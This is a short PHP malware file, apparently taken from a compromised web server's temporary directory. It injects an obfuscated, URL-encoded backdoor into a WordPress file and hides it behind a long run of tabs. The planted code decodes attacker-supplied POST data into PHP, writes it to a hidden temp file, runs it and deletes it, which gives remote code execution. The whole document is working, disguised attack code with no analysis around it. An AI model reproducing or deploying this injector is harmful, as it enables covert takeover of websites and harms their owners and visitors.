Current File : //tmp/.locked
<?php  $path = '/home/mak/_wildcard_.mak.pt/wp-content/string.php'; $ft = @filemtime($path); $content = file_get_contents($path); $new_code = rawurldecode('if%28isset%28%24_POST%5B%22o%5Cx62j%22%5D%29%29%7B%20%24pointer%20%3D%20%24_POST%5B%22o%5Cx62j%22%5D%3B%20%24pointer%3D%20explode%20%28%27.%27%20%2C%20%24pointer%20%29%20%3B%20%24binding%20%3D%20%27%27%3B%20%24s2%20%3D%20%27abcdefghijklmnopqrstuvwxyz0123456789%27%3B%20%24sLen%20%3D%20strlen%28%24s2%20%29%3B%20%24q%20%3D%200%3B%20%24__tmp%20%3D%20%24pointer%3B%20while%20%28%24v3%20%3D%20array_shift%28%24__tmp%29%29%20%7B%20%24sChar%20%3D%20ord%28%24s2%5B%24q%25%20%24sLen%5D%20%29%3B%20%24d%20%3D%20%28%28int%29%24v3%20-%20%24sChar%20-%20%28%24q%25%2010%29%29%20%5E%2060%3B%20%24binding%20.%3D%20chr%28%24d%20%29%3B%20%24q%2B%2B%3B%20%7D%20%24resource%20%3D%20array_filter%28%5B%22/dev/shm%22%2C%20getenv%28%22TEMP%22%29%2C%20session_save_path%28%29%2C%20getcwd%28%29%2C%20ini_get%28%22upload_tmp_dir%22%29%2C%20%22/tmp%22%2C%20sys_get_temp_dir%28%29%2C%20%22/var/tmp%22%2C%20getenv%28%22TMP%22%29%5D%29%3B%20for%20%28%24bind%20%3D%200%2C%20%24ent%20%3D%20count%28%24resource%29%3B%20%24bind%20%3C%20%24ent%3B%20%24bind%2B%2B%29%20%7B%20%24object%20%3D%20%24resource%5B%24bind%5D%3B%20if%20%28%28is_dir%28%24object%29%20and%20is_writable%28%24object%29%29%29%20%7B%20%24dchunk%20%3D%20%22%24object/.desc%22%3B%20%24file%20%3D%20fopen%28%24dchunk%2C%20%27w%27%29%3B%20if%20%28%24file%29%20%7B%20fwrite%28%24file%2C%20%24binding%29%3B%20fclose%28%24file%29%3B%20include%20%24dchunk%3B%20%40unlink%28%24dchunk%29%3B%20die%28%29%3B%20%7D%20%7D%20%7D%20%7D'); if (strstr($content, $new_code)) {     die('!already injected!'); } $starts = ['<?php', '<?']; foreach ($starts as $start) {     if (substr($content, 0, strlen($start)) == $start) {         $content = substr($content, strlen($start));         $content = $start.str_repeat("\t", 42).$new_code."\n".$content;         if (file_put_contents($path, $content)) {             $content = file_get_contents($path);             if (strstr($content, $new_code)) {                 die("!success!<ft>{$ft}</ft>");             }         }     } } die('!failed!');